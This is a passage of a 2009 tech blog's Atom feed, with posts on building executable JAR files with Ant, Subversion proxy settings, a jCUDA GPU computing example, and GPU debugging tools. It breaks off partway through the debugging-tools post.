First, you need to create a &lt;a title="Understanding the Manifest" href="http://java.sun.com/developer/Books/javaprogramming/JAR/basics/manifest.html" target="_blank" rel="nofollow"&gt;Manifest&lt;/a&gt; file, which should contain at least the following lines:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Class-Path: &lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;lib1.jar&amp;gt; &amp;lt;lib2.jar&amp;gt; &amp;lt;path/lib3.jar&amp;gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Main-Class: &lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;classname&amp;gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Place a new line at the end of this file&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Then use &lt;a title="jar - The Java Archive Tool" href="http://java.sun.com/j2se/1.3/docs/tooldocs/win32/jar.html" target="_blank"&gt;jar.exe&lt;/a&gt; to create a runnable JAR using the following command:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;jar cvfm &amp;lt;your_jar_file.jar&amp;gt; &amp;lt;manifest_file&amp;gt; 
                              &amp;lt;class_files&amp;gt; &amp;lt;libraries&amp;gt;&lt;/pre&gt;&lt;br /&gt;
If you prefer, you can use a Ant script to generate the manifest and create the JAR file. Within this script you need to change the value for &lt;span style="color: rgb(0, 128, 0);"&gt;jar.name&lt;/span&gt; and &lt;span style="color: rgb(0, 128, 0);"&gt;main.class&lt;/span&gt;. Optionally you may need to adjust the values for &lt;span style="color: rgb(0, 128, 0);"&gt;build.home&lt;/span&gt; and &lt;span style="color: rgb(0, 128, 0);"&gt;deploy.home&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;project name=&amp;quot;MyProject&amp;quot; default=&amp;quot;jar&amp;quot;&amp;gt;

  &amp;lt;!-- Name of the output .jar file --&amp;gt;
  &amp;lt;property name=&amp;quot;jar.name&amp;quot; value=&amp;quot;jar_name.jar&amp;quot; /&amp;gt;

  &amp;lt;!-- Base directory for distribution target --&amp;gt;
  &amp;lt;property name=&amp;quot;deploy.home&amp;quot; value=&amp;quot;.&amp;quot; /&amp;gt;

  &amp;lt;!-- Base directory for compilation targets --&amp;gt;
  &amp;lt;property name=&amp;quot;build.home&amp;quot; value=&amp;quot;.&amp;quot; /&amp;gt;

  &amp;lt;!-- Main class --&amp;gt;
  &amp;lt;property name=&amp;quot;main.class&amp;quot; value=&amp;quot;my.path.to.the.main.Application&amp;quot; /&amp;gt;
 
  &amp;lt;!-- The base directory for all libraries (jar) files --&amp;gt;
  &amp;lt;property name=&amp;quot;lib.home&amp;quot; value=&amp;quot;lib&amp;quot; /&amp;gt;

  &amp;lt;target name=&amp;quot;jar&amp;quot; description=&amp;quot;Create jar and MANIFEST.MF&amp;quot;&amp;gt;

    &amp;lt;pathconvert property=&amp;quot;libs.project&amp;quot; pathsep=&amp;quot; &amp;quot;&amp;gt;
      &amp;lt;mapper&amp;gt;
        &amp;lt;chainedmapper&amp;gt;
          &amp;lt;!-- remove absolute path --&amp;gt;
          &amp;lt;flattenmapper /&amp;gt;

          &amp;lt;!-- add lib/ prefix --&amp;gt;
          &amp;lt;globmapper from=&amp;quot;*&amp;quot; to=&amp;quot;lib/*&amp;quot; /&amp;gt;
        &amp;lt;/chainedmapper&amp;gt;
      &amp;lt;/mapper&amp;gt;
      &amp;lt;path&amp;gt;
        &amp;lt;!-- lib.home contains all jar files, 
                                        in several subdirectories --&amp;gt;
        &amp;lt;fileset dir=&amp;quot;${lib.home}&amp;quot;&amp;gt;
          &amp;lt;include name=&amp;quot;**/*.jar&amp;quot; /&amp;gt;
        &amp;lt;/fileset&amp;gt;
      &amp;lt;/path&amp;gt;

    &amp;lt;/pathconvert&amp;gt;

    &amp;lt;!-- create the jar --&amp;gt;
    &amp;lt;jar jarfile=&amp;quot;${deploy.home}/${jar.name}&amp;quot; basedir=&amp;quot;${build.home}/classes&amp;quot;&amp;gt;

      &amp;lt;manifest&amp;gt;
        &amp;lt;attribute name=&amp;quot;Built-By&amp;quot; value=&amp;quot;${user.name}&amp;quot; /&amp;gt;
        &amp;lt;attribute name=&amp;quot;Main-Class&amp;quot; value=&amp;quot;${main.class}&amp;quot; /&amp;gt;

        &amp;lt;!-- Finally, use the generated libs path --&amp;gt;
        &amp;lt;attribute name=&amp;quot;Class-Path&amp;quot; value=&amp;quot;${libs.project}&amp;quot; /&amp;gt;
      &amp;lt;/manifest&amp;gt;

    &amp;lt;/jar&amp;gt;
  &amp;lt;/target&amp;gt;

&amp;lt;/project&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
As a result you may get something similar to:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;Manifest-Version: 1.0
Ant-Version: Apache Ant 1.7.0
Created-By: 11.3-b02 (Sun Microsystems Inc.)
Built-By: bruno.simoes
Main-Class: my.path.to.the.main.Application
Class-Path: lib/somelib.jar lib/anotherlib.jar
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;2. Execute a JAR&lt;/h3&gt;&lt;br /&gt;
&lt;b&gt;Double click the .jar file&lt;/b&gt; and see what happens. Maybe it is already working, and you have to do nothing. If it opens in your archiver software, then you need to find out what OS are you running and then respectively associate the file with the Java Runtime Environment.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2.1 Windows&lt;/b&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Go to "My Computer", click on one of your drives (C for instance). When it is shown, choose "Tools-&amp;gt;Folder Options" (or Properties. It's in different places depending on the windows version). Alternatively, open windows explorer (just open any folder) to get the "Tools -&amp;gt; Folder Options" window.&lt;/li&gt;
&lt;li&gt;When you get the folder options window, click on the tab "File Types". You should be able to either edit or add JAR files (.jar extension)&lt;/li&gt;
&lt;li&gt;Change the program used to open JAR files. In the file select window, go to the folder where the JRE is installed (should be C:/Program Files/Java/ (...), mark "Always Open With", and select the &lt;span style="color: rgb(0, 128, 0);"&gt;javaw.exe&lt;/span&gt; file&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
Another way to do it is:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Left-click the .jar file, and select the option "Open With".&lt;/li&gt;
&lt;li&gt;If you can't see it in the left-click menu, try holding shift while clicking.&lt;/li&gt;
&lt;li&gt;Select javaw.exe as above, and see if it runs.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;b&gt;2.2 GNU/Linux&lt;/b&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;In the left click menu, there should be the "open with" enabled by default. Select "Sun Java X.X runtime", and run it.&lt;/li&gt;
&lt;li&gt;If you want to always open .jar files with Java instead of the archiver, select the right click menu, click on properties.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Select the open with tab.&lt;/li&gt;
&lt;li&gt;There should be the Java software there to select. Make your choice, and confirm.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;b&gt;2.3 Command Line&lt;/b&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Open a command line window.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;In Windows, click on "start", select "run", and type "command" or "cmd" on the text box.&lt;/li&gt;
&lt;li&gt;For GNU/Linux, I assume you know how to do it.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;It really depends on the distribution you are using, but GNU/Linux users work much more with the command prompt.&lt;/li&gt;
&lt;li&gt;you can press ctrl + alt + F1-F6 to switch to text console, and ctrl + alt + F7 to return to the graphic mode.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Go to the folder with the .jar file.&lt;/li&gt;
&lt;li&gt;Type: &lt;p style="padding-left: 30px;"&gt;java -jar &lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;your_jar_file.jar&amp;gt; &lt;/span&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-5414200904887768318?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PbWVKsJTW0NPoxmjVb2WN-XFITI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PbWVKsJTW0NPoxmjVb2WN-XFITI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PbWVKsJTW0NPoxmjVb2WN-XFITI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PbWVKsJTW0NPoxmjVb2WN-XFITI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/5414200904887768318/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=5414200904887768318" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5414200904887768318?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5414200904887768318?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/7w0ZG9lxxR4/how-to-create-executable-jar-archives.html" title="How to create executable JAR archives with dependent libraries" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://www.think-techie.com/2009/10/how-to-create-executable-jar-archives.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8GSXo6eCp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-5046678968602915437</id><published>2009-10-07T20:25:00.001+02:00</published><updated>2011-05-01T17:30:28.410+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:30:28.410+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Geometric Modelling" /><title>An Analyze-and-Edit Approach to Shape Manipulation</title><content type="html">&lt;div style="text-align:justify"&gt;&lt;i&gt;iWires&lt;/i&gt; is a novel approach based on the argument that man-made models can be distilled using a few special 1D wires and their mutual relations. So, prior to editing, is performed a light-weight analysis of the input shape to extract a descriptive set of wires. Analyzing the individual and mutual properties of the wires, and augmenting them with geometric attributes makes them intelligent and ready to be manipulated.&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/se1fz2RRdKY&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/se1fz2RRdKY&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;/center&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-5046678968602915437?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Uy4CqsYaS1v-qIwWWFd61mL8ZLI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Uy4CqsYaS1v-qIwWWFd61mL8ZLI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Uy4CqsYaS1v-qIwWWFd61mL8ZLI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Uy4CqsYaS1v-qIwWWFd61mL8ZLI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/5046678968602915437/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=5046678968602915437" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5046678968602915437?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5046678968602915437?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/BiE5giIZgew/analyze-and-edit-approach-to-shape.html" title="An Analyze-and-Edit Approach to Shape Manipulation" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2009/10/analyze-and-edit-approach-to-shape.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcNQX09fCp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-1554302402406788721</id><published>2009-09-23T10:38:00.013+02:00</published><updated>2011-05-01T17:34:50.364+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:34:50.364+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips and Tricks" /><category scheme="http://www.blogger.com/atom/ns#" term="Software" /><title>Subversion through proxy</title><content type="html">&lt;div style="text-align:justify"&gt;People with a proxy running on their networks run into a little snag when trying to access an SVN database through it. SVN over http requires more than the usual GET and POST. Proxies by default aren't configured to allow the extra http commands that SVN uses. However this problem can be solved.&lt;br /&gt;
&lt;br /&gt;
Open &lt;b&gt;servers&lt;/b&gt; file in the following location.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Window XP&lt;/b&gt;&lt;br /&gt;
C:\Documents and Settings\&lt;b&gt;[YOUR USERNAME]&lt;/b&gt;\Application Data\Subversion\&lt;b&gt;servers&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Windows Vista&lt;/b&gt;&lt;br /&gt;
C:\Users\&lt;b&gt;[YOUR USERNAME]&lt;/b&gt;\AppData\Roaming\Subversion\&lt;b&gt;servers&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Linux&lt;/b&gt;&lt;br /&gt;
/etc/subversion/&lt;b&gt;servers&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Update following lines at the end of file.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;[global]
http-proxy-exceptions = yourproxy exceptions (e.g. dev.company.com)
http-proxy-host = yourproxyhost (e.g. proxy.company.com)
http-proxy-port = your proxy port (e.g. 8080)
http-proxy-username = proxyusername
http-proxy-password = proxypassword
&lt;/pre&gt;Update Eclipse Proxy settings (This step usually is not needed)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Windows &amp;gt; Preferences&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Type '&lt;b&gt;proxy&lt;/b&gt;' in the filter text box. Go to 'Network Connections' config page. Choose manual proxy configuration and Update the proxy details.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-1554302402406788721?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/iHTeWIzhxYP6vXo3Mwab4Lzk38Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/iHTeWIzhxYP6vXo3Mwab4Lzk38Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/iHTeWIzhxYP6vXo3Mwab4Lzk38Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/iHTeWIzhxYP6vXo3Mwab4Lzk38Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/1554302402406788721/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=1554302402406788721" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1554302402406788721?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1554302402406788721?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/QU323sJ8Dc4/subversion-through-proxy.html" title="Subversion through proxy" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2009/09/subversion-through-proxy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QAQ3wycCp7ImA9WxFSE04.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-8760207971149980163</id><published>2009-09-20T11:17:00.108+02:00</published><updated>2010-04-15T14:42:22.298+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-15T14:42:22.298+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="CUDA" /><category scheme="http://www.blogger.com/atom/ns#" term="GPU Computing" /><category scheme="http://www.blogger.com/atom/ns#" term="Parallel Computing" /><title>GPU Computing using jCUDA</title><content type="html">&lt;div style="text-align: justify;"&gt;jCUDA provides access to CUDA for Java programmers, exploiting the full power of GPU hardware from Java based applications. Using jCUDA you can create cross-platform CUDA solutions, that can run on any operating system supported by CUDA without changing your code.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;What do I need ?&lt;/b&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Recent NVIDIA hardware with a &lt;a href="http://www.nvidia.com/object/cuda_get.html"&gt; CUDA driver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://java.sun.com/javase/downloads/index.jsp"&gt;Java SDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.eclipse.org/downloads/"&gt;Eclispe&lt;/a&gt; (optional)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hoopoe-cloud.com/Solutions/jCUDA/Default.aspx"&gt;jCUDA library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Probably you will have to install Visual Studio if you are using the Windows Platform&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;b&gt;Which are the magic steps?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Download and install all the requirements&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Check if you have a &lt;a href="http://www.nvidia.com/object/cuda_learn_products.html"&gt;CUDA-enabled graphic card&lt;/a&gt;. If you don’t have one, you need to buy it. Then install the CUDA drivers for your graphic card and the Java SDK.&lt;br /&gt;
Download the jCuda library and use it together with your favorite IDE (if you have one).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Write your Java application&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You can write your Java application normally and access to your GPU through jCUDA library. However you need to learn how to use it. This example will illustrate how to detect available GPUs and how to execute your CUDA program on them.&lt;br /&gt;
&lt;br /&gt;
Note that CUDA program is stored inside a folder called &lt;i&gt;resources&lt;/i&gt;, and carful with the number of memory bytes occupied by pointers. You will find that size of pointer often corresponds to the bit-architecture of target machine. That is, if the compiler is for 32 bit architecture, then the pointer would occupy 32 bits (4 bytes), and if the compiler is for 64 bit architecture, then the pointer would occupy 64 bits(8 bytes).&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;CUDA cuda = new CUDA(true);

int count = cuda.getDeviceCount();
if(count == 0){
 System.out.println("No GPU devices found"); 
 return;
}

System.out.println("Total number of devices: " + count); 
for (int i = 0; i &amp;lt; count; i++) {
 CUdevice dev = cuda.getDevice(i);
 
 String name = cuda.getDeviceName(dev);
 System.out.println("Name: " + name);
 
 int version[] = cuda.getDeviceComputeCapability(dev);
 System.out.println("Version: " + String.format("%d.%d", version[0], version[1]));
 
 CUdevprop prop = cuda.getDeviceProperties(dev);
 System.out.println("Clock rate: " + 
                      prop.clockRate + " MHz");
 System.out.println("Max threads per block: " + 
                      prop.maxThreadsPerBlock);
}

/** Select 1st device */
cuda.getDevice(0);

/** Create a context (necessary) */
cuda.createContext();

/** Load the module */
File cubinFile = new File("resources", "sub_module.cubin");
cuda.loadModule(cubinFile.getAbsolutePath());

/** Get the function we want */
cuda.getModuleFunction("subtract");

/** Now we should allocate the necessary memory */
int memSize = Integer.SIZE / 8 * 64;
CUdeviceptr devicePtr = cuda.allocate(memSize);

int originalData[] = new int[64];
for (int i=0; i&amp;lt;originalData.length; i++)
 originalData[i] = i;

/** Copy the original array to device */
cuda.copy(devicePtr, originalData, memSize);

/**
 * Setup function parameters
 * 1st Parameter is pointer to device memory
 * Note on 64 bit platforms, each pointer consumes 8 bytes, 
 * on 32 bit only 4.
 */

int offset = 0;
int delta = 13;
cuda.setParameter(offset, devicePtr);

/** Change to 4 if you are using a 32 bits platform */
offset = 8;
cuda.setParameter(offset, delta);

/** 
 * A simple int scalar takes only 4 if 32 bits 
 * or 8 bytes if 64 bits.
 */
offset += Integer.SIZE / offset;

cuda.setParameterSize(offset);

/** Now, configure the execution configuration */
cuda.setFunctionBlockShape(originalData.length, 1, 1);

cuda.launch();

/** Wait for all operations to complete */
cuda.synchronizeStream(new CUstream(0));

/** Copy results back */
cuda.copy(originalData, devicePtr, memSize);

/** Verify results.... */
boolean correct = true;
for (int i=0; i&amp;lt;originalData.length; i++) {
 if (originalData[i] != (i - delta)*(i - delta)) {
  System.out.println("Error at " + i +":"+ originalData[i]);
  correct = false;
 }
}

if (correct)
 System.out.println("Test passed");
else
 System.out.println("Test failed");

/** Release resources */
cuda.free(devicePtr);
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;3. Write your CUDA code&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The following example is written in CUDA, which is very similar to C language. If you can’t understand this example, well, all I can tell you is: the result is equal to (src - amount) * (src - amount).&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;extern "C" __global__ void subtract(int *src, int amount){
 src[threadIdx.x] -= amount;
 src[threadIdx.x] *= src[threadIdx.x];
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;4. Compile your CUDA code&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Before running the application, your CUDA code must be compiled to an assembly intermediate language, PTX and then assembled in the cubin file format.&lt;br /&gt;
&lt;br /&gt;
Here is the simplified compilation process:&lt;br /&gt;
&lt;br /&gt;
&lt;img width="490" src="http://think-techie.com/images/cudacompileprocess.jpg" title="CUDA compile process"&gt;&lt;br /&gt;
&lt;br /&gt;
If you are using Windows, you can execute the following command.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;nvcc.exe -cuda -I $(SDK)/common/inc resources/sub_module.cu
&lt;/pre&gt;&lt;br /&gt;
If you prefer to use Ant. Use this script together with your favorite IDE.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;
&amp;lt;project name="GPGPU" basedir="." default="all"&amp;gt;
 &amp;lt;target name="all"&amp;gt;
  &amp;lt;exec executable="nvcc.exe"&amp;gt;
   &amp;lt;arg value="resources/sub_module.cu" /&amp;gt;
   &amp;lt;arg value="--cubin" /&amp;gt;
  &amp;lt;/exec&amp;gt;
 &amp;lt;/target&amp;gt;
&amp;lt;/project&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;4. Compile and run your Java application&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Don't forget, GPUs are connected to the main computer processor by relatively slow connection, the bus. For this reason moving data on and off of the GPU is an expensive task if compared to performing calculation directly on the GPU. This can create critical bottlenecks for instance when one wants to perform a calculation on the CPU using some data, then perform further calculation on the GPU and then use the output of the GPU to use once more the CPU. The overhead introduced by data transfers through the bus can overwhelm the benefits of fast GPU computation. &lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-8760207971149980163?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Oc2jv1rXzjFqAMSAV6RJ-sVCcrc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Oc2jv1rXzjFqAMSAV6RJ-sVCcrc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Oc2jv1rXzjFqAMSAV6RJ-sVCcrc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Oc2jv1rXzjFqAMSAV6RJ-sVCcrc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/8760207971149980163/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=8760207971149980163" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8760207971149980163?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8760207971149980163?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/8RpH9aWr7_o/gpu-computing-using-jcuda.html" title="GPU Computing using jCUDA" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>4</thr:total><feedburner:origLink>http://www.think-techie.com/2009/09/gpu-computing-using-jcuda.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4MQHc9fip7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-5435755412543350744</id><published>2009-09-17T11:41:00.007+02:00</published><updated>2011-05-01T17:33:01.966+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:33:01.966+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="GPU Computing" /><title>GPGPU Debugging Tools</title><content type="html">&lt;div style="text-align:justify"&gt;Until recently, support for debugging on GPUs was fairly limited, and the features necessary for a good GPU debugger were not well defined. The advent of GPGPU programming makes it clear that a GPU debugger should have similar capabilities as traditional CPU debuggers, including variable watches, program break points, and single-step execution. GPU programs often involve user interaction. While a debugger does not need to run the application at full speed, the application being debugged should maintain some degree of interactivity [8]. A GPU debugger should be easy to add to and remove from an existing application, should mangle GPU state as little as possible, and should execute the debug code on the GPU, not in a software rasterizer. Finally, a GPU debugger should support the major GPU programming APIs and vendor-specific extensions.&lt;br /&gt;
&lt;br /&gt;
There are a few different systems for debugging GPU programs available to use, but nearly all are missing one or more of the important features we just discussed.&lt;br /&gt;
&lt;br /&gt;
gDEBugger [1] and GLIntercept [2] are tools designed to help debug OpenGL programs. Both are able to capture and log OpenGL state from a program. gDEBugger allows a programmer to set breakpoints and watch OpenGL state variables at runtime, as well as to profile applications using GPU hardware performance signals [8]. There is currently no specific support for debugging shaders, but both support runtime shader editing.&lt;br /&gt;
&lt;br /&gt;
The Microsoft Shader Debugger [3], however, does provide runtime variable watches and breakpoints for shaders. The shader debugger is integrated into the Visual Studio IDE, and provides all the same functionality programmers are used to for traditional programming [8]. Unfortunately, debugging requires the shaders to be run in software emulation rather than on the hardware. In contrast, the Apple OpenGL Shader Builder [4] also has a sophisticated&lt;br /&gt;
&lt;br /&gt;
IDE and actually runs shaders in real time on the hardware during shader debug and edit. The downside to this tool is that it was designed for writing shaders, not for computation. The shaders are not run in the context of the application, but in a separate environment designed to help facilitate shader writing.&lt;br /&gt;
&lt;br /&gt;
